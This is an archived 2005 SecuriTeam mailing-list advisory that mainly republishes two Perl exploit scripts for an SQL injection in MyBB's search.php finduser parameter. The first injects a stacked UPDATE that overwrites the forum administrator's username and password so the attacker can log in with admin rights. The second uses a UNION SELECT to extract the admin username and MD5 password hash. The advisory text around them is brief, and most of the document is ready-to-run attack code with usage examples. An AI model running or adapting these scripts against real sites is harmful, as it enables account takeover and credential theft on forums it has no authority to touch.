

# [EXPL] MyBB finduser Search SQL Injection (Exploits)

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-08/0089.html>

---

*From:* SecuriTeam ([support\\_at\\_securiteam.com](mailto:support_at_securiteam.com))

*Date:* 08/21/05

To: [list@securiteam.com](mailto:list@securiteam.com)

Date: 21 Aug 2005 15:54:12 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

MyBB finduser Search SQL Injection (Exploits)

---

## SUMMARY

The following two exploits, exploit a vulnerability in MyBB's finduser searching functionality, one will try to add a user named crouz with administrative privileges to the system, while the other will grab the first available administrative username and dump his hashed password.

## DETAILS

Exploits #1:

```
#!/usr/bin/perl
```

```
#####
```

```
# Crouz.Com Security Team #
```

```
#####
```

```
# EXPLOIT FOR: MyBulletinBoard Search.PHP SQL Injection Vulnerability
```

```
#
```

```
##
```

```
#Exploit By: Alpha_Programmer (sirius) #
```

```
#Email: Alpha_Programmer@LinuxMail.ORG #
```

```
##
```

```
#This Xpl Change Admin's Pass For L0gin With P0wer User #
```

## Securiteam: [EXPL] MyBB finduser Search SQL Injection (Exploits)

```
##
#HACKERS PAL & Devil-00 & ABDUCTER are credited with the discovery of this
vuln #
##
#####
# GR33tz T0 ==> mh_p0rtal -- Dr-CephaleX -- The-Cephexin --
Djay_Agoustinno #
# No_Face_King -- Behzad185 -- Autumn_Love6(Hey Man You Are
Singular) #
##
# Special Lamerz : Hoormazd & imm02tal :P ++ xshabgardx #
#####
use IO::Socket;

if (@ARGV < 2)
{
    print "\n===== \n";
    print " \n -- Exploit By Alpha Programmer(sirius) -- \n \n";
    print " Crouz Security Team \n \n";
    print " Usage: <T4rg3t> <DIR> \n \n";
    print "===== \n \n";
    print "Examples: \n \n";
    print " Mybb.pl www.Site.com /mybb/ \n";
    exit();
}

my $host = $ARGV[0];
my $dir = $ARGV[1];
my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
PeerPort => "80" );

unless ($remote) { die "C4nn0t C0nn3ct to $host" }

print "C0nn3cted \n";

$http = "GET $dir/search.php?action=finduser&uid=-1' ; update mybb_users
set username='da05581c9137f901f4fa4da5a958c273' ,
password='da05581c9137f901f4fa4da5a958c273' where usergroup=4 and uid=1
HTTP/1.0 \n";
$http .= "Host: $host \n \n \n";

print "\n";
print $remote $http;
print "Wait For Changing Password ... \n";
sleep(10);

print "OK , Now Login With : \n";
print "Username: crouz \n";
print "Password: crouz \n \n";
print "Enjoy ;) \n \n";
```

## Securiteam: [EXPL] MyBB finduser Search SQL Injection (Exploits)

Exploits #2:

```
#!/usr/bin/perl -w
use LWP::Simple;
if(!$ARGV[0] or !$ARGV[1] or !$ARGV[2]){
print "#####[ MyBB SQL-Injection ]#####\n";
print "# Coded By Devil-00 [ sTranger-killer ] #\n";
print "# Exmp:- mybb.pl www.victem.com mybb 0 0 || To Get Search ID
#\n";
print "# Exmp:- mybb.pl www.victem.com mybb searchid 1 || To Get MD5 Hash
#\n";
print "# Thnx For [ Xion - HACKERS PAL - ABDUCTER ] #\n";
print "#####\n";
exit;
}
```

```
my $host = 'http://'.$ARGV[0];
my $searchid = $ARGV[2];
```

```
if($ARGV[3] eq 0){
print "[*] Trying $host\n";
```

```
$url = "/" . $ARGV[1] . "/search.php?action=finduser&uid=-1' UNION SELECT
uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,uid,ui
d,uid,uid,username,password FROM mybb_users where usergroup=4 and
uid=1/*";
$page = get($host.$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $host\n";
$page =~ m/<a
href="search\.php?action=results&sid=(.*?)&sortby=&order=">/ && print
"[+] Search ID To Use : $1\n";
exit;
}else{
```

```
print "[*] Trying $host\n";
```

```
$url =
"/" . $ARGV[1] . "/search.php?action=results&sid=$searchid&sortby=&order=";
$page = get($host.$url) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $host\n";
```

```
$page =~ m/<a href="member\.php?action=profile&uid=1">(.*?)</a>/ &&
print "[+] User ID is: $1\n";
print "[-] Unable to retrieve User ID\n" if(!$1);
```

```
$page =~ m/<a href="forumdisplay\.php?fid=1">(.*?)</a>/ && print "[+]
MD5 hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);
}
```

ADDITIONAL INFORMATION

Securiteam: [EXPL] MyBB finduser Search SQL Injection (Exploits)

The information has been provided by  
<mailto:alpha\_programmer@linuxmail.org> Alpha Programmer and Devil-00.

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@securiteam.com  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.